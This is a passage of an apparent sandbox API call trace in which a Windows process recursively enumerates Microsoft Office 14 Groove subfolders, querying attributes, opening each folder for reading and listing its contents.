lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.817] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.817] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.817] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.817] NtClose (Handle=0xec) returned 0x0 [0069.817] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762a20) returned 1 [0069.817] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.817] GetLastError () returned 0x12 [0069.817] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d160 [0069.818] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.818] GetLastError () returned 0x12 [0069.818] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762b28) returned 1 [0069.818] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.818] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762c30) returned 1 [0069.818] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762a20) returned 1 [0069.818] GetLastError () returned 0x12 [0069.818] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762810) returned 1 [0069.818] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.818] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762918) returned 1 [0069.818] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762708) returned 1 [0069.818] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.819] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0069.819] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0069.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.819] NtClose (Handle=0x198) returned 0x0 [0069.819] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762708) returned 1 [0069.819] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d260 [0069.819] GetLastError () returned 0x12 [0069.819] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d160 [0069.819] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.820] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0069.820] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0069.820] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0069.820] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.820] NtClose (Handle=0x198) returned 0x0 [0069.820] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762a20) returned 1 [0069.820] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d260 [0069.822] GetLastError () returned 0x12 [0069.822] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d1a0 [0069.822] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0069.822] GetLastError () returned 0x12 [0069.822] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762c30) returned 1 [0069.822] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762b28) returned 1 [0069.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762a20) returned 1 [0069.823] GetLastError () returned 0x12 [0069.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762918) returned 1 [0069.823] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762810) returned 1 [0069.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762708) returned 1 [0069.823] GetLastError () returned 0x12 [0069.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17624f8) returned 1 [0069.823] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762600) returned 1 [0069.823] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1054928) returned 1 [0069.823] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0069.824] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.824] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.824] NtClose (Handle=0x148) returned 0x0 [0069.824] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.825] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0069.825] GetLastError () returned 0x12 [0069.825] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0069.825] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.825] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0069.826] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0069.826] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0069.826] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.826] NtClose (Handle=0x148) returned 0x0 [0069.826] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1068ba8) returned 1 [0069.826] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d120 [0069.828] GetLastError () returned 0x12 [0069.828] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0069.828] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.828] GetLastError () returned 0x12 [0069.828] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762600) returned 1 [0069.828] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.829] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17624f8) returned 1 [0069.829] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1054928) returned 1 [0069.829] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\places"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.830] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0069.830] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0069.830] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.830] NtClose (Handle=0xec) returned 0x0 [0069.830] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1068ba8) returned 1 [0069.830] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0069.832] GetLastError () returned 0x12 [0069.832] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Places\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d120 [0069.832] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.833] GetLastError () returned 0x12 [0069.833] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17624f8) returned 1 [0069.833] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.833] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762600) returned 1 [0069.833] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1054928) returned 1 [0069.833] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0069.836] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0069.836] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0069.836] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.836] NtClose (Handle=0x148) returned 0x0 [0069.836] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1068ba8) returned 1 [0069.836] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d120 [0069.838] GetLastError () returned 0x12 [0069.838] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0069.838] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0069.838] GetLastError () returned 0x12 [0069.838] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1762600) returned 1 [0069.838] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.839] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x17624f8) returned 1 [0069.839] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1054928) returned 1 [0069.839] GetLastError () returned 0x12 [0069.839] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.839] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.839] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067aa8) returned 1 [0069.839] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.839] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0069.840] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.840] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.840] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.840] NtClose (Handle=0x18c) returned 0x0 [0069.840] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.840] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0069.843] GetLastError () returned 0x12 [0069.843] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.843] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0069.843] GetLastError () returned 0x12 [0069.843] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067bb8) returned 1 [0069.843] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.844] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1054928) returned 1 [0069.844] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.844] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.845] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0069.845] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0069.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.845] NtClose (Handle=0xec) returned 0x0 [0069.845] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1067b30) returned 1 [0069.845] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0069.845] GetLastError () returned 0x12 [0069.845] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0069.846] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.846] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0069.847] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0069.847] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x175c048, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x175c048, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0069.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x175c048) returned 1 [0069.847] NtClose (Handle=0xec) returned 0x0 [0069.847] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x176c570) returned 1 [0069.847] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0069.849] GetLastError () returned 0x12 [0069.849] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d120 [0069.849] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0069.849] GetFileAttributesExW (in: lpFileName="C:\\Program 